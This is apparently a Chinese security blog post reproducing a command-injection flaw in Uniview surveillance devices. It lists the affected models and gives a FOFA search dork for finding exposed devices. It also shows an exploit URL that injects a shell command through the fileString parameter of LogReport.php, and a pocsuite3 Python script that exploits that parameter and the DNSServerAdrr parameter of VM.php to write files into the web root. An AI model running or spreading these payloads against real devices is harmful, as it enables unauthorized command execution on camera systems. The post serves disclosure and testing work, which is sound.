浙江宇视科技 LogReport.php 命令执行漏洞复现

声明

本文内容仅供学习交流使用，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。

---

一、漏洞简介

该漏洞的产生，是由于/Interface/LogReport/LogReport.php 页面，fileString 参数过滤不严格，导致攻击者可执行任意命令。

FOFA Dork：title=="ISC2500-S"

二、影响设备型号

ECR3316_HF ECR3316-HF ECR3308_HF ECR3308-HF ISC3500E ISC3500E ISC3500S ISC3500S ECR3316_HF_E ECR3316-HF-E ECR3308_HF_E ECR3308-HF-E ECR3316_HF_S ECR3316-HF-S ECR3308_HF_S ECR3308-HF-S ISC3500_ET ISC3500-ET ISC3500_EL ISC3500-EL ISC3500_ST ISC3500-ST ISC3500_SL ISC3500-SL ECR2104_HF ECR2104-HF ECR2108_HF ECR2108-HF ISC2500_SP ISC2500-SP ISC2500_EP ISC2500-EP ISC2500_E ISC2500-E ISC2500_S ISC2500-S ISC2500_L ISC2500-L ECR3308_HF_SC ECR3308-HF-SC ECR3316_HF_SC ECR3316-HF-SC ISC3500_LC ISC3500-LC ISC3500_SC ISC3500-SC ISC3500_EC ISC3500-EC ISC5000-E

三、EXP

/Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;echo Norah C.IV > /usr/local/program/ecrwww/apache/htdocs/Interface/DevManage/12.php %23"

 该命令执行漏洞，与https://www.cnblogs.com/charon1937/p/14076819.html出自同一批设备，只是漏洞的触发点略有不同。

四、Python脚本

#!/usr/bin/env python3.8
# _*_ coding: utf-8 _*_
import sys
import requests

from pocsuite3.api import POCBase, Output, register_poc, POC_CATEGORY, VUL_TYPE, VULNERABILITY_LEVEL
from libs.Logger import Logger
from pathlib import Path

file_name = Path(__file__).name
path = sys.path[0]
log_path = path + "/" + file_name


class DemoPOC(POCBase):
    vulID = 'wooyun-2016-0182299'
    version = '1'
    author = ['hy']
    vulDate = '2016-06-09'
    createDate = '2020-11-23'
    updateDate = '2020-11-23'
    references = ['https://wooyun.laolisafe.com/bug_detail.php?wybug_id=wooyun-2016-0182299']
    name = '浙江宇视科技监控设备命令执行'
    appPowerLink = 'http://www.uniview.com/'
    appName = 'uniview'
    appVersion = '''
    ECR3316_HF、ECR3316-HF、ECR3308_HF、ECR3308-HF、ISC3500E、ISC3500E、ISC3500S、ISC3500S、ECR3316_HF_E、
    ECR3316-HF-E、ECR3308_HF_E、ECR3308-HF-E、ECR3316_HF_S、ECR3316-HF-S、ECR3308_HF_S、ECR3308-HF-S、ISC3500_ET、
    ISC3500-ET、ISC3500_EL、ISC3500-EL、ISC3500_ST、ISC3500-ST、ISC3500_SL、ISC3500-SL、ECR2104_HF、ECR2104-HF、ECR2108_HF、
    ECR2108-HF、ISC2500_SP、ISC2500-SP、ISC2500_EP、ISC2500-EP、ISC2500_E、ISC2500-E、ISC2500_S、ISC2500-S、ISC2500_L、
    ISC2500-L、ECR3308_HF_SC、ECR3308-HF-SC、ECR3316_HF_SC、ECR3316-HF-SC、ISC3500_LC、ISC3500-LC、ISC3500_SC、ISC3500-SC、
    ISC3500_EC、ISC3500-EC、ISC5000-E'''
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
    1.浙江宇视科技uniview视频监控系统/Interface/DevManage/VM.php页面DNSServerAdrr参数过滤不严，导致可以构造恶意的代码，执行系统命令。
    2./Interface/LogReport/LogReport.php 页面，fileString 参数过滤不严格，导致攻击者可执行任意命令'''
    samples = ['']
    install_requires = ['']
    category = POC_CATEGORY.TOOLS.CRACK
    protocol = POC_CATEGORY.PROTOCOL.SOCKET
    vulnerability_level = VULNERABILITY_LEVEL.SERIOUS  # 漏洞等级
    repair_opinion = '''联系厂商，升级应用的版本。厂商链接：https://cn.uniview.com/'''

    def _verify(self):
        result = {}
        host = self.getg_option("rhost")
        port = self.getg_option("rport") or 80
        nvr_dvr_flag = False
        log_report_flag = False

        if camera_uniview_dvr_rce(host, port, nvr_dvr_flag, log_report_flag):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['HOST'] = host
            result['VerifyInfo']['Port'] = port
            Logger.info('{}:{}存在浙江宇视科技监控设备命令执行漏洞'.format(host, port), log_path)
            return self.parse_attack(result)
        else:
            Logger.info('{}:{}不存在浙江宇视科技监控设备命令执行漏洞'.format(host, port), log_path)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')

        return output


def camera_uniview_dvr_rce(host, port, nvr_dvr_flag, log_report_flag):
    Logger.debug('正在检测{}:{}是否存在浙江宇视科技安防(DVR/NVR)等监控设备命令执行漏洞'.format(host, port), log_path)
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) "
                      "Version/5.1 Safari/534.50"
    }
    nvr_dvr_payload = '/Interface/DevManage/VM.php?cmd=setDNSServer&DNSServerAdrr=" |echo "81dc9bdb52d04dc20036dbd831' 
                      '3ed055" >/usr/local/program/ecrwww/apache/htdocs/Interface/DevManage/hit.txt %23"'
    nvr_dvr_vulnurl = 'http://' + host + ':' + str(port) + nvr_dvr_payload

    try:
        requests.get(nvr_dvr_vulnurl, headers=headers, timeout=10, verify=False)
        nvr_dvr_cmdurl = 'http://' + host + ':' + str(port) + "/Interface/DevManage/hit.txt"
        nvr_dvr_req = requests.get(nvr_dvr_cmdurl, headers=headers, timeout=10, verify=False)
        if r"81dc9bdb52d04dc20036dbd8313ed055" in nvr_dvr_req.text:
            nvr_dvr_flag = True
        else:
            pass
    except Exception as e:
        Logger.error('%s' % e, log_path)
    finally:
        return log_report_rce(host, port, nvr_dvr_flag, log_report_flag)


def log_report_rce(host, port, nvr_dvr_flag, log_report_flag):
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) "
                      "Version/5.1 Safari/534.50"
    }
    try:
        log_report_payload = '/Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;echo%20Norah%20C.' 
                             'IV%20 >/usr/local/program/ecrwww/apache/htdocs/Interface/DevManage/12.php%20%23"'
        log_report_vulnurl = 'http://' + host + ':' + str(port) + log_report_payload

        Logger.debug('正在检测{}:{}是否存在浙江宇视科技 /Interface/LogReport/LogReport.php 命令执行漏洞'.format(host, port),
                     log_path)
        requests.get(log_report_vulnurl, headers=headers, timeout=10, verify=False)
        log_report_cmdurl = 'http://' + host + ':' + str(port) + "/Interface/DevManage/12.php"
        log_report_req = requests.get(log_report_cmdurl, headers=headers, timeout=10, verify=False)
        if r"Norah C.IV" in log_report_req.text:
            log_report_flag = True
        else:
            pass
    except Exception as e:
        Logger.error('%s' % e, log_path)
    finally:
        return check_vuln(nvr_dvr_flag, log_report_flag)


def check_vuln(nvr_dvr_flag, log_report_flag):
    if nvr_dvr_flag or log_report_flag:
        return True
    else:
        return False


register_poc(DemoPOC)

此为本人及所在安全实验室，结合pocsuite3框架，并对框架进行二次开发后，编写完成的符合自身所需的POC脚本。无法直接对项目进行漏洞检测，若有需要，可提取POC脚本中关键代码。

五、修复意见

升级版本

六、参考文献

https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=1823